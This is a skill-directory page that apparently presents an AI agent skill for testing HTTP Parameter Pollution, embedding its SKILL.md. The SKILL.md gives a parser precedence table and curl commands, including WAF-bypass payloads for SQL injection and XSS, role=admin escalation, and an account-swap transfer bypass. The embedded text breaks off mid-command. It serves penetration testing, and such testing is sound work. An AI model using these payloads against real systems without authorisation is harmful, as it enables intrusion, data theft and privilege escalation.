Skip to content
Skillpedia
Security6.5k Β· #14065

hpp

What it does

This skill explains how duplicate request parameters can be read differently by a firewall, server and app. It is for security testers checking whether those differences let attacks or access checks slip through.

When to use it

  • βœ“When a firewall and an app may read repeated URL or form parameters in different ways.
  • βœ“When a login or access check uses a parameter that may be duplicated.
  • βœ“When you want to test whether a security filter can be bypassed with repeated values.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œCan you check whether sending a repeated id parameter in my app changes which account gets accessed?”

5 new skills a week. 1 minute to read.

How it works

The agent sends duplicate parameters and compares the values each layer uses, looking for gaps between what the filter checks and what the app acts on.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

HTTP Parameter Pollution (HPP)

Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another β€” payload slips through. Or the framework picks one value for the auth check and a different one for the action β€” ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.

1. Parser precedence table

When ?id=1&id=2 (or duplicated body params) is received:

Stack request.GET['id'] / equivalent getParameterValues / list view
PHP ($_GET) last wins (2) $_GET['id[]'] only; otherwise the dup is dropped
ASP.NET (Request.QueryString["id"]) comma-concatenated ("1,2") GetValues returns both
ASP Classic comma-concatenated β€”
Java Servlet (getParameter) first (1) getParameterValues returns both
Java Spring @RequestParam String first List<String> binds both
Node.js qs (Express default) array (["1","2"]) n/a
Node.js querystring (legacy) array n/a
Python Flask request.args.get first getlist returns both
Python Django request.GET['id'] last getlist returns both
Python urllib.parse.parse_qs list (["1","2"]) β€”
Ruby on Rails last params[:id] is the last; arrays via id[]=
Go net/http r.URL.Query().Get first ["id"] returns all
Perl CGI param("id") first in scalar, list in list context β€”
nginx $arg_id first β€”
Apache mod_rewrite %{QUERY_STRING} raw β€” passes both β€”
AWS API Gateway β†’ Lambda proxy last in queryStringParameters, all in multiValueQueryStringParameters β€”
Cloudflare WAF inspects all values for rule match (generally) β€”
AWS WAF inspects each occurrence β€”
ModSecurity (CRS) inspects each β€” but anomaly score per rule β€”

The exploitable pattern: WAF/proxy reads value A, app reads value B.

2. Detection

# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'

# Duplicate param β€” same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300

# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'

# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2"           # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2"          # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api"  # body dup

Reflection check β€” does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.

for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
  echo "== $pair =="
  curl -s "http://<TARGET>/echo?$pair"
  echo
done

3. WAF bypass via duplicate parameters

The WAF inspects one occurrence; the app concatenates / picks the other.

# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=1" \
  --data-urlencode "q=UNION SELECT user,password FROM users--"

# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
  --data-urlencode "q=harmless" \
  --data-urlencode "q=<svg/onload=alert(1)>"

# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
  --data-urlencode "host=' OR 1=1--" \
  --data-urlencode "host=8.8.8.8"

Mixed source confusion β€” GET vs POST:

# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'role=admin'

4. Server-side HPP β€” auth / ACL bypass

The auth layer evaluates one value; the controller acts on another.

# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine β†’ permits. Controller: last wins β†’ operates on victim.

# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
  -d 'role=user&username=x&role=admin'

# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_
FAQ

Which web frameworks does it compare?

It includes a table of how PHP, ASP.NET, Java, Node.js, Python and Ruby pick a value from repeated parameters.

Is this usually a serious bug on its own?

The skill says it is usually low or medium alone, and more serious when chained with other attacks.

Does it only apply to URLs?

No, it also covers duplicated body parameters in forms.

Details

Original description by the author

HTTP Parameter Pollution β€” parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14065
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills